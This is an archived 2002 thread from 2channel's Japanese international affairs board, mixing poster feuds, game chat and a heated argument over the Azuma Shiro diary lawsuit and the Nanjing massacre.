>名無しさん達に歴史を教わるうちにトーンダウン、年末には国際板への書き込みをやめ
>演劇板で目撃されたのが最後である。

コテハンスレ

猫男@感度良好♪スレ
http://yasai.2ch.net/kokusai/kako/965/965573530.html

debuスレ
http://yasai.2ch.net/kokusai/kako/964/964540340.html

396 : ◆yzlSeA0w :02/04/18 03:17 ID:CkOzqEoi
>>394
原爆スレで叱られちゃったなりよ。
「その口調は煽られてるようで無性にイライラする」って。
だから止めてるなりよ。

397 :「タックスヘイブン」7カ国のリスト公表 OECD:02/04/18 23:15 ID:8KUre56K
「タックスヘイブン」7カ国のリスト公表 OECD

 経済協力開発機構(OECD)は18日、「タックスヘイブン」(租税回避地)と判定した7カ国・
地域のリストを公表した。著しい低税率だったり、税制の透明性が確保されていなかったりす
るとして、改善が見られない場合には制裁も検討する。これらの国・地域には、テロリストやマ
フィアの活動の温床になっているとの批判が強まっている。

 リストに掲載されたのはアンドラ、リヒテンシュタイン、リベリア、モナコ、マーシャル諸島、ナ
ウル、バヌアツ。

 OECDは00年、35カ国・地域の租税回避地リストをいったん公表。掲載された国・地域側
には当初「弱い者いじめ」「主権の侵害」との反発が強かったが、昨秋の米同時多発テロで租
税回避地への関心が高まったことも影響し、7カ国・地域以外はOECDとの協力を表明。法
改正などの措置を約束した。

 7カ国・地域の中には、経済を闇資金に頼っていて透明化に踏み切れない国もあると、OE
CDはみている。(22:30)

ttp://www.asahi.com/business/update/0418/018.html

398 :どうでもいいけど:02/04/22 02:19 ID:xcyQNpf8
■■■国際情勢板自治スレッド14■■■
http://yasai.2ch.net/test/read.cgi/kokusai/1016130115/
>>964宛て

ガンパレ初プレイレポート

・・・副座機の女房役とは仲良くなっておくべき、との考えから芝村舞に接近してみる。
特殊能力をもらえたので、コリャイイやと調子に乗って友好度を上げていたら、何時の間にか熊本城決戦に狩り出される羽目になる。
へ・・・?所属する5121小隊は錬度が高いから囮部隊として投入するって・・・?、
いや・・・まだ実戦経験どころか訓練すら終了してないし、整備兵も到着してないんだが・・・。

・・・・・・・・・・・・・案の定、ベルリン防衛戦じみた戦いの末に、” 全 滅 ”する・・・。
                                                完
・・・なんなんだこの展開は?


どうでもいいけど、ブギーポップがかなり入ってますなこのゲーム。

399 :どうでもいいけど:02/04/22 02:20 ID:xcyQNpf8
そんな訳で再挑戦。

400 :名無しさん@お腹いっぱい。:02/04/22 02:44 ID:mVfn7TA/
>>399
えっとね、えっとね〜。
くまもとじょ〜こ〜ぼ〜せん いべんとが いじょ〜にはやく
はじまってしまう もんだいは
みんながちょくめんしている、なんかんなの。
ひんと ききたい?
ひんとは にしゅるい あるの

せんじゅつてきな あどばいすと
いべんとふらぐが たつ じょ〜けんの ふたつなの。

401 :◇◇◇実験完了◇◇◇ ◆yzlSeA0w :02/04/22 02:52 ID:z+HwGCti
DRXよ、実験お疲れさまでした。

今、ここに高らかに宣言する。
知性化実験は、見事にDRXの思惑通り成功裏に完了した。
薩摩武士道は既に復活したし、全人類チョンマゲ化計画も既に完了した。
もはや問題は何もない。DRXの完全な勝利だ。
ここに知性化実験の参加者は、発展的にプロジェクトを終了させる事を高らかに宣言する。

平成14年4月吉日         知性化計画プロジェクト参加者一同

402 :名無しさん@お腹いっぱい。:02/04/22 02:59 ID:ig03sr8y
>>401
全人類チョンマゲ化はまだとちゃう?

403 : ◆yzlSeA0w :02/04/22 03:01 ID:z+HwGCti
DRXの果敢な実験により、国際情勢板に平和が戻ってきた。
ありがたい、感謝しよう。
DRXは国際情勢板の救世主だ。
DRXの勝利に栄光あれ、薩摩武士道に栄光あれ!


404 :名無しさん@お腹いっぱい。:02/04/22 03:07 ID:6gaELNb8
>>403
Dみたいなへそ曲がりには、見え透いたオダテなど効果無いだろう。
むしろ、おちょくってるように取られたら、枢機郷みたいな目に遭わされるかもよ?

405 : ◆yzlSeA0w :02/04/22 03:11 ID:z+HwGCti
私の意図が枢機郷に誤解されないように、敢えてわかりやすく書いたのが>>403なの。
>>401だと私がプロジェクトの一員だったみたいだもん。

406 :名無しさん@お腹いっぱい。:02/04/22 03:15 ID:aRC+hfe5
>>405

残念ながら、Dなんて何の影響力もない。
いずれ判るから。

407 :名無しさん@お腹いっぱい。:02/04/22 03:16 ID:iwq6x5b3
>>405
知能の低い友人をお持ちになってると、余計な気苦労をなさるようですな。

408 :名無しさん@お腹いっぱい。:02/04/22 03:17 ID:iwq6x5b3
>>406
おや?
枢機郷必死だな(藁

409 : ◆yzlSeA0w :02/04/22 03:18 ID:z+HwGCti
>>406
いや・・・もう判ってるんですが・・・。

410 :名無しさん@お腹いっぱい。:02/04/22 03:23 ID:braNNa/v
>>409

枢機卿などなぜ恐れる。
あんなキチガイ放置が一番じゃん。

411 :名無しさん@お腹いっぱい。:02/04/22 03:24 ID:iwq6x5b3
>>409
おお、強気じゃん。
Dのマジレスを体験してないから無理も無いだろうが、
一度マジでDと議論してみたら?
ただのネタ職人とは思わない方がいいかもよ?
枢機郷程度の小物じゃ歯が立たないよ。

412 : ◆yzlSeA0w :02/04/22 03:27 ID:z+HwGCti
>>411
いえいえ、滅相もない。
私如きがDRX様のお相手をするなど、100万年早い。
完膚無きまでに叩きのめされ、私は実験台の小動物のように怯えることしかできませんよ。
マンセー!マンセー!DRXマンセー!

413 :名無しさん@お腹いっぱい。:02/04/22 03:28 ID:Ym0s36SZ
>>411
自作自演のD、売り込みに必死だね。(ww

414 :どうでもいいけど:02/04/22 03:32 ID:wovA2+jL
>>400
拝聴します(まあ、もう最初からやりなおしてるから良いんだけどね)。

フラグに関しては中盤ぐらいまで、芝村舞と距離を置くことで防げそうだし、
戦術については、整備兵がいないから手の打ちようがない気もするけどね。
あの状態で、20ターンまで逃げ切るだけならともかく、勝てるというのならすごいな。

>>406
その心は?
A・DRXは口だけで実力がない、いずれ馬脚をあらわす。
B・DRXには枢機郷を知性化する事など不可能、いずれ暴走する。

>>411
とはいえ、DRX名義で書いてる時はネタの割合が多いような気がする。
マジレスの時に限って、名無しだったりするしねえ。

415 :f:02/04/22 03:34 ID:7CT/CSuM
>>411

Dちゃんも、ここに顔を出すようじゃ小物だ。
憐れな男よのう。

416 :名無しさん@お腹いっぱい。:02/04/22 03:36 ID:ODDhDwQA
>>413
少しでもDを評価するようなレスに対して、すかさずそういう反応が返ってくるのは、
Dを強く意識してる証拠ではないかな?
Dなんてimodeでカキコ出来なくなってからレスが激減したのに、
年中脈絡もなくDの悪口を言ってる奴が居るのは尋常じゃないよ?


417 :名無しさん@お腹いっぱい。:02/04/22 03:41 ID:ODDhDwQA
>>415
今ここに居るかぁ?
俺は違うぞ。(藁

418 :名無しさん@お腹いっぱい。:02/04/22 04:33 ID:JwtZ4s3a
Dは以前、どこかの受け売りみたいなレスはつまらないと言っていた。
枢機郷みたいに、視野が狭くてコピペばかりが取り得といった奴を見下してるのは間違いない。
どうでもいいけどとは友好的なようだが、彼は柔軟な思考力を持ってるからかも知れない。
Dがマジレスの際に名無しになるというのは、枢機郷の正反対だ。
もしかすると、これはDのメンタリティを読み解くカギかも知れない。
例えば、マジに議論する事自体をカコワルイと思うようになってしまったのか・・・
あるいは、枢機郷相手にマジレスする事を恥ずかしがってるのか?
実際にそこまで本気で差別してる可能性はあるな・・・

419 :名無しさん@お腹いっぱい。:02/04/22 05:05 ID:VAGbvzb8
すんげー初心者質問でなんだけどさあ、
自分で調べもしなくて 具の骨頂ってのは重々承知だけど
聞かせておくれよ。
今のイスラエルの問題がおこるようになったきっかけって何?
米国テロが何か引き金になったの?
それとも元もとの宗教問題?
よかたらおせーて

420 :名無しさん@お腹いっぱい。:02/04/22 06:08 ID:omdKyimA
とにかく、国を守る自衛隊に応援頼む。
       _______
       \__((キ))_/
      ___│______|__
    /    \___/ \
  /:::              \
 /::::::::       λ       λ  ヽ
/:::::::.:::     / `v ││  / `v  ヽ
|::::::::::      '    ││  "       |
l:::::::::::     >((( ・)))  ((( ・)))<  l
|:::::::::::     |||||||      ||||||     |
l:::::::::::     ヽ.  ,-―‐-、   /   l
|::::::::::::::      }  .{::::::::::::::::} ┏━━━━━━━━━━━━━━┓
`、:::::::::::::   /  `ー――' .┃【指令】                ┃
  ヽ:::::::::::::    `--====--.┃ 全員自衛隊板に投票しる!  ..┃
  丶::::::::            .┃ 投票しないと××だ゙!おめーら┃
   `\_________________________.┗━━━━━┓┏━━━━━━━┛
    __):_:::::.____(__         ┃┃
 /二二 /ヽ ▽ /\二二ヽ       ┃┃
/::::     > ヽ/ヽ/ <   ヽ      (⌒ )
|::::     \ 〆ヽ 〆 /     \    /\丿
|::::      ヽ  ヽ  /==:::   \/    >
自衛隊板 投票対策本部
http://natto.2ch.net/test/read.cgi/jsdf/1019051857/
現在の投票スレ
http://live.2ch.net/test/read.cgi/vote/1019403807/
<<自衛隊>> とお書きください。


421 :DRX:02/04/22 14:15 ID:LTWQNXut
枢機郷ごとき雑兵は、薩摩武士道の戦略の前では敗残兵になるのみ。
敗残兵は多くの本を読んで、知性化するがよかろふ。
その他の国際情勢板の雑兵など歯牙にもかけぬ。
ドラスティックな展開が予想される国際情勢板は進歩の兆しは見えてきたやうだ。
自作自演は高等戦術使いこなせるなら、雑兵もチャレンジするがよかろふ。
完全論破で粉砕するから、いつでも論争に誘ってくれれば暇な時には対戦してやらぬでもない。
無知な住民相手の戦は気が進まぬが、降りかかる火の粉は払わずばなるまいて。
薩摩武士道の名誉にかけても、漏れに対する誹謗中傷は瞬殺論法で殲滅するが、国際情勢板の雑兵は
覚悟してから挑戦するがよかろふ。
低位株が塩漬けで苛立っている毎日、相当過激な論破で応戦するゆえ勇気のある雑兵は挑むがよかろふ。
馬鹿な枢機郷や雑兵はAAを薩摩武士の犯行との濡れ衣を着せるとは、雑兵らしい幼稚なる言いがかりは
薩摩武士道の名誉にかけて反論完全否定するであろふ。

後場が始まるのでこの位にしておいてやろふ。
今晩は気が向いたら顔を出してやるが、退屈な反論には武士は応えはしないのでそのつもりで。
薩摩武士道の復活。そして前人類チョンマゲ化計画に邁進するのみ。
でわ。


422 :ののみ:02/04/22 14:25 ID:iIbNKflC
>>414
えっとね、えっとねぇ。
くまもとじょ〜のふらぐは、まいちゃんとなかよくなって
しがつになると たってしまうの。
ていあんを うけいれたり、 いっしょにしごとや くんれんをしてると、 なかよくなっちゃうから、
ひかえめにすると じかんを かせげるのよ。

れんどが ひくいときに くまもとじょ〜いべんとが はじまってしまったときは、
きゅ〜じゅ〜にみり らいふるで あうとれんじが きほんなの。
とにかく きょりをとって、そげきしつづけるの。
せっきんせんは たまぎれのあとからに するのよ。

423 :ののみ:02/04/22 14:27 ID:iIbNKflC
ふえぇ?
ずいぶん にほんごの へたな Dちゃんが でてきたねぇ。

424 :名無しさん@お腹いっぱい。:02/04/22 16:57 ID:aioMHLhW
若干1名のDRX信者が問題をややこしくしている

425 :ののみ:02/04/22 21:40 ID:h2eJgkfB
>>422
あんりゃんりゃん
ののみのにせものだなおまえは、くろ〜んがおおすぎるの。
ののみちゃんはひとりでいいの、ほかはめ〜なの。
Dちゃんのくろ〜んもめ〜なの、Dちゃんはふたりでいいの。
じさくじえんでめ〜なの、もののふはふたりでいいの。



426 :ののみ:02/04/22 22:44 ID:5VMXJHZA
>>425
にせもののののちゃんめ〜なの


427 :名無しさん@お腹いっぱい。:02/04/23 00:32 ID:o4HCleuA
>>424
そうかな?
Dを陥れる為にコテハンを騙るクズどもが問題をややこしくしてるようだが?
「コテハン騙りも戦術の1つ」と居直るなら、Dの思うツボじゃないのかな?

428 :名無しさん@お腹いっぱい。:02/04/23 00:46 ID:8U/pMNhx
>>427
だからあんた1人って

429 :名無しさん@お腹いっぱい。:02/04/23 01:02 ID:aESPgv+u
>>428
そうでもないよ。
DRXは明白なネタ以外では極めて論理的だからな。
枢機郷や◆yzlSeA0wみたいにコロコロ発言がブレたりはしない。
最近の例を挙げるなら、東史郎日記の嘘をあっさり見抜くぐらいの水準には達してるんだろ?
あの時◆yzlSeA0wは、自説が破綻した途端ごちゃごちゃ言い訳を始めていたけど、明らかにDRXの勝ちだった。
DRXに適切な評価を下せば信者の烙印ってのは姑息な情報操作だな。
何故そこまでDRXを軽快する?(藁

430 :名無しさん@お腹いっぱい。:02/04/23 01:26 ID:hYlA/SLB
>>429

全部が自作自演でひとりなの (w w

431 :名無しさん@お腹いっぱい。:02/04/23 01:33 ID:J0rbXK2u
>>430
へー・・・そうなの?
根拠は?

432 :名無しさん@お腹いっぱい。:02/04/23 01:36 ID:JX0sSTM2
>>431
IDコロコロ変えるのよしな
よっぽどトラウマになってるようだがや

433 : ◆yzlSeA0w :02/04/23 01:39 ID:RkYIQSaf
>>429
>東史郎日記の嘘をあっさり見抜くぐらいの水準
>あの時◆yzlSeA0wは、自説が破綻した途端
...。
私の自説って何?説明してみなよ(w
で、東史郎日記の嘘についても詳細に述べてみな。
上記二点を元に私の自説(とあなたが思っている事)が破綻したことを説明してみな。

元のスレはこれね。
http://yasai.2ch.net/test/read.cgi/kokusai/1016453791/319-347

いや、あなたの勝ち。マンセー!マンセー!DRXマンセー!
 

434 :名無しさん@お腹いっぱい。:02/04/23 01:42 ID:IlvNg6ek
>>432
いやー、そうやってるだけでD認定する単細胞をからかってるだけ。
こんな事なら誰でも出来るし、本物のDが名無しで潜む気なら繋ぎっぱにしておくんじゃないの?
あんた達は単純過ぎなんだよ。

435 :名無しさん@お腹いっぱい。:02/04/23 01:45 ID:i/O0E8lF
>>434

全然、真実を理解してない

436 :名無しさん@お腹いっぱい。:02/04/23 01:45 ID:IlvNg6ek
>326 : ◆yzlSeA0w :02/04/04 04:29 ID:uWekw8eo
>ちなみに、なぜ敗訴したか、その理由も爆笑モノ。
>「ガソリンで火を付けたり、手榴弾を爆発させたり、そんな危険なことをするはずがない」
>それだけ。
>そんなムチャクチャな訴訟でしたとさ。

Dは「ムチャクチャな訴訟」ではなかった事を証明したんじゃなかったんだっけ?

437 :名無しさん@お腹いっぱい。:02/04/23 01:47 ID:IlvNg6ek
>>435
真実きぼーん。
勿論ソース付きで。

438 :名無しさん@お腹いっぱい。:02/04/23 01:49 ID:JX0sSTM2
俺あんたをD認定なんかしてないよ
あんたがコロコロ変えるのをやめろと言ってる
からかってるだけかい?
多人数にみせかけていつも言うことはDRX擁護かい?
からかってるだけ?

文章のクセで全部わかってるんだけど


439 :名無しさん@お腹いっぱい。:02/04/23 01:49 ID:pRUWlva9
>>437

ONE MAN SHOW


440 :名無しさん@お腹いっぱい。:02/04/23 01:52 ID:JX0sSTM2
このDRXの擁護者ってDがいるときには出てこねえんだよな
直接「好きです」って言えばいいのに

441 :名無しさん@お腹いっぱい。:02/04/23 01:54 ID:IlvNg6ek
>>438
癖?気のせいでしょ。
疑心暗鬼だと自分に都合よく物事が見えてくるもんだよ。
もしかしたら、あんた達をからかう為に真似てるだけかも知れないしね。(藁


442 :名無しさん@お腹いっぱい。:02/04/23 01:56 ID:IlvNg6ek
>>440
まあ、Dの出現自体が滅多にないからねえ。

443 : ◆yzlSeA0w :02/04/23 01:58 ID:RkYIQSaf
>>436
あーなるほど、DRXはそこに噛み付いたのね。
ようやく判ったよ。
何故ムチャクチャかは
338 : ◆yzlSeA0w :02/04/04 05:17 ID:LRKlq4mt
>>335
どうでもいい一部の表現を巡って訴訟を起こし、
あたかも彼の記述が「全て」でっちあげであるかのような自由主義史観研究会の印象操作。
あたかも彼の記述を国家が隠蔽否定した言わんばかりの中国・左翼のプロパガンダ。
実際はそんな大層な訴訟じゃない。
ノンポリの観察者から見ればお笑い以外の何者でもない。
まあ、君たちの思惑通り東氏の証言は電波扱いされてるわけだ。よかったね。

つう事だ。

おおかたDRXは、私が「訴訟は権力によってねじ曲げられた不当判決だ!」と言っているとでも思ったんだろうね。


444 :名無しさん@お腹いっぱい。:02/04/23 02:00 ID:UJ/5ZoW0
>>443

下らん、下らん、もうやめな、誰も聞いてない。

445 : ◆yzlSeA0w :02/04/23 02:02 ID:RkYIQSaf
はい。忠告ありがとう。やめようね>DRX

446 :名無しさん@お腹いっぱい。:02/04/23 02:03 ID:IlvNg6ek
>>443
>326 : ◆yzlSeA0w :02/04/04 04:29 ID:uWekw8eo
>ちなみに、なぜ敗訴したか、その理由も爆笑モノ。
>「ガソリンで火を付けたり、手榴弾を爆発させたり、そんな危険なことをするはずがない」
>それだけ。
>そんなムチャクチャな訴訟でしたとさ。

みたく書けば普通誰だってそう受け取るよ。
論破された後になって「そんな意図じゃなかった」と?
それじゃフェアと言い難いよ。

447 :名無しさん@お腹いっぱい。:02/04/23 02:06 ID:TgrYAbzz
>>445

ONE MAN SHOW

448 :名無しさん@お腹いっぱい。:02/04/23 02:06 ID:IlvNg6ek
自作自演論争を続ける事の下らなさを理解すれば、以前からそう言ってたDの主張が正しい事になるしね(藁


449 : ◆yzlSeA0w :02/04/23 02:11 ID:RkYIQSaf
>>446
文脈を追ってますか?
私は
323 : ◆yzlSeA0w :02/04/04 04:00 ID:uWekw8eo
>>322
ところで、この訴訟が何の訴訟か知っていますか?
1人の中国人を郵便袋に入れガソリンをかけ火をつけ、
手榴弾を二発紐で袋に結びつけて沼の中に放りこんだ
という彼の記述が事実と反する、という名誉棄損訴訟だよ。
南京大虐殺と全く関係ない訴訟だ、ということを左翼も自由主義史観者も隠して
政治宣伝に利用しているが、実態はそんなもんだ。

と書いてる。私は東を肯定したかったのではなく、
東を否定する人間を、恣意的に情報を捩じ曲げている輩として晒すことが目的だった。
だから、
>論破された後になって「そんな意図じゃなかった」と?
は見当違い。
つまり、私は論破されたなどとこれっぽっちも思ってない。
判りづらい文章を書いてしまった私にも問題はあるのだが。

450 :名無しさん@お腹いっぱい。:02/04/23 02:18 ID:6sTIh9G3
>東を否定する人間を、恣意的に情報を捩じ曲げている輩として晒すことが目的だった。

Dがやったように明らかな嘘を嘘であると証明すれば、
必ずしも「東を否定する人間」がそういう手合いばかりとは限らない事の証明になってるのでは?

451 : ◆yzlSeA0w :02/04/23 02:21 ID:RkYIQSaf
>>450
実際に彼がどう思ってカキコをしていたかは知ったこっちゃない。
私は彼を恣意的に情報を捩じ曲げている輩に仕立て上げ、晒そうとしたまで。
それが成功したか否かは読む人が判断すること。

452 :名無しさん@お腹いっぱい。:02/04/23 02:27 ID:6sTIh9G3
>>451
さいですか・・・
論理的な思考というものを分かっている人間には通用しない小細工だったけどさ。
Dを敵視してる輩には幾ばくかの効果が有ったかも知れないね。(藁

453 : ◆yzlSeA0w :02/04/23 02:33 ID:RkYIQSaf
>>452
んと、まだ論破されたから話を逸らしたと思ってるのかなぁ?

319 :名無しさん@お腹いっぱい。 :02/04/04 03:16 ID:???
東史郎って、最高裁うそつき認定されていたよな?
どうして、肯定派陣営からは、うそつき証言者や捏造写真ばかり続出してるんだ?
史実ならいくらでも証拠があるんだろうから、捏造などするまでもなかろうに。

321 : ◆yzlSeA0w :02/04/04 03:26 ID:uWekw8eo
>>319
この訴訟、上告却下されており、最高裁では審理を行っていませんが?

この時点からハラは決まってたんですが。
「情報を恣意的に操作するな」とね。
よく読んでみるがいい、私は「本当はこの訴訟は東が正しい」などとはどこにも書いていない。


454 :名無しさん@お腹いっぱい。:02/04/23 02:39 ID:6sTIh9G3
>この時点からハラは決まってたんですが。

もしそうだったら下記の表現が不自然になっちゃうからね。

>326 : ◆yzlSeA0w :02/04/04 04:29 ID:uWekw8eo
>ちなみに、なぜ敗訴したか、その理由も爆笑モノ。
>「ガソリンで火を付けたり、手榴弾を爆発させたり、そんな危険なことをするはずがない」
>それだけ。
>そんなムチャクチャな訴訟でしたとさ。

そんなハラかどうかを判断しようがない人間としては、とりあえず明らかな嘘を指摘するばかりでしょう。
ムチャクチャどころか、裁判所は極めて真っ当に対処してるって事だよ。

455 : ◆yzlSeA0w :02/04/23 02:51 ID:RkYIQSaf
>>454
>裁判所は極めて真っ当に対処してるって事だよ。
高裁の判断が正しいかどうかなんて問題にしてないの。
争点がそんな低レベルなものだったんだよ、という事を晒したまで。
まあ確かに高裁の判断はいかがわしくは思うんだが
被告側弁護団の
>私たち弁護団は、繰り返し本件記述の再現実験をしてきた。
>その結果、本件記述の行動は危険でないことが明らかになった。
>@袋にガソリンをかけて燃やしても袋は破れず、沼に放り込める
>A燃えた袋の紐に手榴弾を結びつける行為も火傷の危険を犯さずにできる
>B手榴弾点火と同時に袋を沼に放り込めるし、四、五秒もあれば安全な所まで移動可能である。
>また、放り込み地点と沼に段差があることや水中で爆発した手榴弾の破片は地上まで飛はないことを考えればなおさら危険はないことが明白である。
つう主張もまた笑える。
こんな些細なレベルの訴訟で南京大虐殺を語れるの?つうのが私の主張。

456 :名無しさん@お腹いっぱい。:02/04/23 03:00 ID:6sTIh9G3
>>455
少なくとも、「旧日本軍に対して身に覚えの無い濡れ衣を着せようとする意図」が存在する事の証明にはなるね。
南京を論じる時には「この事実を重要な要素として」晒すなら意義がある。
あんたは材料の使い方が逆方向だったという事だ。
否定派の闇を晒す意図があったなら、何か別な奴にすれば?

457 : ◆yzlSeA0w :02/04/23 03:04 ID:RkYIQSaf
ただし、この論戦には非常に悔いが残る。
なぜなら、私は薩摩武士を持ち出されるまで相手がDRXだと気づかなかったからだ。
相手がDRXだと知っていたら、こんな論戦はしなかった。
つうかDRXの政治傾向を知らなかった。知らないほうがシアワセだったかも。

458 : ◆yzlSeA0w :02/04/23 03:12 ID:RkYIQSaf
>>456
身に覚えが無いかどうかは当事者のみぞ知る。
「身に覚えの無い濡れ衣を着せようとする意図」と書いた時点であなたのスタンスがバレバレ。
南京大虐殺はあったとされているし、またなかったともされている。

私?私は旧日本軍賛美するやつが大嫌いだから、
旧日本軍なんて賛美できるものなんかじゃない事を説明することは好き。
「身に覚えの無い濡れ衣を着せようと」したことなどはない。
むしろ「身に覚えがあるだろう、ん〜?」って書いてる。(原爆スレの話ね)
ただし、南京大虐殺の真偽についてはコメントしたことはない。

459 :名無しさん@お腹いっぱい。:02/04/23 03:15 ID:6sTIh9G3
Dの言う「薩摩武士云々」を額面通りに受け取る奴は国情板の素人。
多分あの時のDは、「目的は何?」とか言い出して論点を変えようする質問を始めた◆yzlSeA0w を
「論理的な議論を行う為のルールを破ったドキュソ」と認定したんだよ。
その後のDのレスはネタ。

460 :名無しさん@お腹いっぱい。:02/04/23 03:20 ID:6sTIh9G3
>>458
「明らかな嘘」で名誉毀損を意図してるんだから、「身に覚えが無い」のが当然だ。
「身に覚えが有る」なら「嘘」にならないじゃないか。
下らない言葉遊びは反論の代用にならないよ。
その辺があんたの限界点だな

461 : ◆yzlSeA0w :02/04/23 03:21 ID:RkYIQSaf
>>459
誰も薩摩武士云々がホンネだなんて思わないが...。

ようやく合点がいったよ。
お互い論点がかみ合っていなかったって事だ。
私から見りゃ、彼は論点をすり替えるDQNだと思ってたから。
お互い叩いてたところが違ったって事だね。

462 :名無しさん@お腹いっぱい。:02/04/23 03:29 ID:6sTIh9G3
>344 :名無しさん@お腹いっぱい。 :02/04/04 05:45 ID:???
>東史郎が書いた嘘日記の中にも、どこかに真実があるかのように主張したいなら、
>まずは該当部分を根拠として提示する事だな。
>それをしてなきゃ、ただのブラフと見なされても文句を言えない筈だ。
>君の発言は、現時点では、単なる遠吠えだぞ。


>345 : ◆yzlSeA0w :02/04/04 05:47 ID:LRKlq4mt
>で、質問。
>中国は、南京大虐殺を反日プロパガンダとして利用する明白な意図がある。
>あなたたちは、南京大虐殺がなかったとすることで、どのような結果を得る戦略なのか?

>事実はどうでもいいんだよ。
>どう解釈して、どう利用するかに意味がある。
>中国の意図は誰もが知るところ。
>あなたたちの意図を聞いてみてもバチは当たるまい?

>それとも、ただ単に中共が嫌いなだけのDQN?
>ただの愛国主義者?

明らかに「東日記の真実の部分を指摘せよ」と求めているDの質問をはぐらかしてる感じだ。
ルール違反と見なされるのは当然ではないかな?
それまで、東日記にも真実があると主張してるのに、該当部分を根拠として出さないんだから。

463 : ◆yzlSeA0w :02/04/23 03:34 ID:RkYIQSaf
>>460
おっけ。
>「明らかな嘘」で名誉毀損を意図してる
つうことは、あの訴訟は「郵便袋に入れて池に放り込んだ」件に関する「名誉棄損訴訟」って事だよね。
うんうん、あれは真実ではないかもしれないし、真実かも知れないね。
最高裁が上告を却下したんなら真実ではないかも知れないし、ウソかもしれない。
私ゃ「明らかなウソ」とまでは断言できん。
「故意のウソ」と「真実ではないこと」と「訴訟で負けること」は全部違うよん?
「訴訟で負ける」事が「故意のウソ」になるのがあなたの論旨。
「明らかな嘘」イコール「名誉毀損」では無いことも注意ね。

464 :名無しさん@お腹いっぱい。:02/04/23 03:42 ID:6sTIh9G3
詭弁だな。
一般論でイコールでない事など当然だよ。
この一件では、物理的に実行不可能な「犯行の手順」を日記に記述しているから、その部分を「嘘」と言っている訳だ。
それとも、「その嘘が部隊の同僚の名誉を毀損したから訴訟になった」のではないと主張してるのか?

465 : ◆yzlSeA0w :02/04/23 03:44 ID:RkYIQSaf
>>462
>明らかに「東日記の真実の部分を指摘せよ」と求めているDの質問をはぐらかしてる感じだ。
>ルール違反と見なされるのは当然ではないかな?

何が真実かは誰も判らん。当事者のみぞ知る。
いや、当事者にしても歴史の一断片を知っているに過ぎず、全体像は知らないだろう
だからこそ、後世の人間が都合の良いように歴史を利用する事ができる。
その利用のされ方を分析することに私の興味はある。
だから、東の日記の真実の部分を抜き出すことなど私にもあなたにも無理。
唯一本人のみが知る。嘘かも知れないし、本当かも知れない。
事実誤認かも知れないし、明確な意図を持った捏造工作かも知れない。

>それまで、東日記にも真実があると主張してるのに、該当部分を根拠として出さないんだから。
真実があるかもよ?と書いてるんだが。
具体的な事例が真実か否かは検証のしようがないだろう?
私は真実か否かには興味はない。あなたの土俵で勝負するつもりはない。

466 : ◆yzlSeA0w :02/04/23 03:49 ID:RkYIQSaf
>>464
>物理的に実行不可能な「犯行の手順」
実行できるかもよ?被告側弁護団が実験して成功してるらしいから(笑)
>「その嘘が部隊の同僚の名誉を毀損したから訴訟になった」
なぜ「嘘」だと断言できるの?最高裁が上告却下したから?

467 : ◆yzlSeA0w :02/04/23 03:58 ID:RkYIQSaf
私の中では、あの記述が
「1.明らかな意図を持った捏造」か
「2.特に意図はないが事実無根の嘘」か
「3.実際にあったことをかなり誇張して記述した」か
「4.実際に近いことがあったが、記述を間違えている」か
「5.ほんとーにあの記述通りのことがあった」の5通りのいずれかであると考えており、
全てが等価。
5.以外は訴訟の結果と一致する。
訴訟の結果を材料にするとしても、なぜ1.〜4.のうち1.だけが正しいと言えるの?

468 :名無しさん@お腹いっぱい。:02/04/23 03:59 ID:6sTIh9G3
>具体的な事例が真実か否かは検証のしようがないだろう?
ならば、やはり下記の意図は不可能なネタだったのだろう。
>東を否定する人間を、恣意的に情報を捩じ曲げている輩として晒すことが目的だった。

>実行できるかもよ?被告側弁護団が実験して成功してるらしいから(笑)
その実験に立ち会ってないので個人的にはなんとも断言できないが、裁判所では「そんな物じゃまるで参考にならん」と結論づけた訳だ。
その裁判所の判断に事実を歪曲する意図でも見出したのなら、その根拠を提示すればいい事。

469 : ◆yzlSeA0w :02/04/23 04:13 ID:RkYIQSaf
>>468
>>具体的な事例が真実か否かは検証のしようがないだろう?
>ならば、やはり下記の意図は不可能なネタだったのだろう。
>>東を否定する人間を、恣意的に情報を捩じ曲げている輩として晒すことが目的だった。

なぜ?
私は「訴訟の結果を彼が恣意的に利用した」と述べているのであって、
「実際に起きたことを彼や裁判所が恣意的に無かったことにしている」などとは言っていない。

>その裁判所の判断に事実を歪曲する意図でも見出したのなら、その根拠を提示すればいい事。

その裁判所の判断に事実を歪曲する意図は見出せません。
その裁判所の判断を、歪曲して利用する意図なら見出しましたが。

470 :名無しさん@お腹いっぱい。:02/04/23 04:18 ID:6sTIh9G3
>>467
この分類なら、正確には1と2だけだな。
特に意図も無く自分や戦友の名誉を毀損する奴は、記憶中枢か精神を病んでいる。
従って2の場合、証言として採用したいならそれなりの補強材料が欠かせないだろう。
3なら、「かなり誇張する動機」が無ければおかしい。従って3の場合、動機があるなら1で、無いなら2だ。
4なら、鮮明な記憶になっていない訳だ。
一晩夢を見ただけで、現実の体験と夢の出来事が混同しかねないのが人間の記憶というものだ。
単なる記憶違いである事を証明出来ないなら、結局はこれも1か2であろう。
今までは思想的背景無しで東が精神を病んでいる可能性を俎上に乗せてなかったから、1だけだったんだよ。

471 :名無しさん@お腹いっぱい。:02/04/23 04:27 ID:6sTIh9G3
>その裁判所の判断に事実を歪曲する意図は見出せません。
>その裁判所の判断を、歪曲して利用する意図なら見出しましたが。


>326 : ◆yzlSeA0w :02/04/04 04:29 ID:uWekw8eo
>ちなみに、なぜ敗訴したか、その理由も爆笑モノ。
>「ガソリンで火を付けたり、手榴弾を爆発させたり、そんな危険なことをするはずがない」
>それだけ。
>そんなムチャクチャな訴訟でしたとさ。

・・・どうムチャクチャなんだ?



472 :名無しさん@お腹いっぱい。:02/04/23 04:37 ID:6sTIh9G3
睡魔に負けたんで、もうねます。
でわ

473 : ◆yzlSeA0w :02/04/23 04:38 ID:RkYIQSaf
>>470
ほほお、今度はサイコパス扱いですか。いや、その可能性は無いとは言いきれないが。
>特に意図も無く自分や戦友の名誉を毀損する奴は、記憶中枢か精神を病んでいる。
世の中、お調子者っていませんか?
>3なら、「かなり誇張する動機」が無ければおかしい。従って3の場合、動機があるなら1で、無いなら2だ。
「筆が乗ってきた」ってのは動機になるんでしょうか?

さて、4.だ。
>4なら、鮮明な記憶になっていない訳だ。
>単なる記憶違いである事を証明出来ないなら、結局はこれも1か2であろう。

これが被告側弁護団がバカな所なんだよねえ。
「あの記述通りのことが行われた」に固執して、わざわざ実験やってるんだから。


474 : ◆yzlSeA0w :02/04/23 04:42 ID:wewbbrUy
>>471
>>443で説明済みだが?
